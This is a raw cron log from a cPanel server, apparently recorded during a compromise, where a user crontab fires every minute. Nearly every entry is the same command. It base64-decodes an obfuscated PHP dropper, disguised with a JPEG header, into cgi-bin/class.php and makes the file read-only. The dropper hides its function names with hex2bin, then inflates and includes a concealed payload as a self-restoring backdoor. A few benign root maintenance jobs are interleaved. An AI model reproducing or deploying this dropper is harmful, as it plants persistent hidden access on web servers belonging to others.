Nov 15 13:18:01 server CROND[6068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:19:01 server CROND[6336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:20:01 server CROND[6625]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 13:20:01 server CROND[6626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:20:01 server CROND[6628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:20:01 server CROND[6630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:20:01 server CROND[6627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:21:01 server CROND[6943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:22:01 server CROND[7198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:23:01 server CROND[7594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:24:01 server CROND[7867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:25:01 server CROND[8131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:25:01 server CROND[8132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:25:01 server CROND[8133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:26:01 server CROND[8465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:27:01 server CROND[8797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:27:01 server CROND[8798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:28:01 server CROND[9134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:29:01 server CROND[9489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:30:01 server CROND[9762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:30:01 server CROND[9761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:30:01 server CROND[9763]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:30:01 server CROND[9764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
